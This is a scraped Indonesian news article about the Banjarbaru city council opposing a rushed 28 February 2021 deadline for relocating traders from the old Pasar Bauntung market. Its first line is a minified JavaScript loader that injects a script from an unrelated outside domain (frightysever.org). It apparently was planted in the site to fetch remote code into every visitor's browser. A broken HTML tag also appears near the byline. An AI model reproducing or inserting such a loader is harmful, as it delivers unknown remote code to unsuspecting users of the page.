(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Rencana Pemko Banjarbaru menarget relokasi pedagang Pasar Bauntung Baru selesai pada 28 Februari mendatang, mendapat respon dari DPRD Banjarbaru. Dewan meminta agar pemerintah tak memaksakan proses relokasi ratusan pedagang yang masih bertahan di lokasi lama.
Hal ini mengemuka saat rapat lintas komisi DPRD Banjarbaru, yang berlangsung Kamis (18/2/2021) siang tadi.
Anggota Komisi III Emi Lasari mengatakan, target pemerintah itu terkesan memaksakan keadaan. Mengingat hingga sampai saat ini proses relokasi baru saja sukses terhadap 238 pedagang.
“238 pedagang yang sudah direlokasi, dari total 1.132 pedagang yang mendaftar. Dan pemerintah menargetkan relokasi akan selesai pada tanggal 28 Februari, sekaligus menutup pasar yang lama. Saya menilai ini terlalu dipaksakan,” tegasnya.
Ia menilai, pemko sudah mengingkari rencana relokasi yang awalnya ditarget rampung bulan April. Tapi mendadak dimajukan 28 Februari.
“Kalau soft opening pasar di bulan ini tidak masalah. Tapi, beda halnya kalau konteks relokasi para pedagang. Pemerintah seharusnya memperpanjang waktu sosialisasi. Harus melihat kesiapan para pedagang. Jangan sampai kesannya tidak peduli,” bebernya.
Politikus Partai Amanat Nasional (PAN) ini mengatakan, relokasi selalu membutuhkan tahapan panjang. Hal ini demi menghindari adanya benturan penolakan dari pihak-pihak yang belum menerima kebijakan tersebut.
“Kita tidak mau ada pemaksaan dan intimidasi. Apalagi melibatkan pihak luar. Kita ingin pedagang secara kesadaran diri mendukung relokasi ini dan akhirnya pindah ke pasar yang baru,” lanjut Emi.
Pemko mestinya memberikan garansi kepada para pedagang di tempat yang baru. Apalagi tempat jualan berbeda dibandingkan lokasi di pasar yang lama.
“Luasan tempat jualan jelas berbeda, perlu ada edukasi. Saya juga meminta terobosan Pemko untuk memberikan jaminan misalnya dibebaskan dari tanggung jawab retribusi serta parkir. Karena awal pindah itu, pasti sepi pembeli. Apalagi saat ini masih dalam kondisi pandemi. Bantuan Pemko misalnya berupa pembuatan aplikasi belanja online dan katalognya. Juga pasar baru ini dipromosikan secara online dalam era modern saat ini,” tegasnya.
Melihat hal tersebut, Emi meminta pemko memperpanjang tahapan relokasi pedagang hingga April. “Jangan memaksakan pasar lama ditutup dan semua pedagang pindah. Saya sarankan proses relokasi ini diperpanjang, supaya terjalin komunikasi yang baik,” tegasnya.
Kini, rencana relokasi pedagang pasar Bauntung di Jalan A Yani Km 34 ke pasar Bauntung baru di Jalan RO Ulin tengah dihadapkan sejumlah pertanyaan. Contohnya saja, pemerintah hanya mendirikan sebanyak 1.072 tempat untuk berjualan di lokasi pasar yang baru, terdiri dari kios, ruko, los basah dan los kering. Sedangkan, sebagaimana yang disebutkan jumlah pedagang yang mendaftar untuk direlokasi sebanyak 1.132 pedagang. (Kanalkalimantan.com/rico)
<0div class=”reporter”>Reporter : Rico
Editor : Cell
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
This website uses cookies.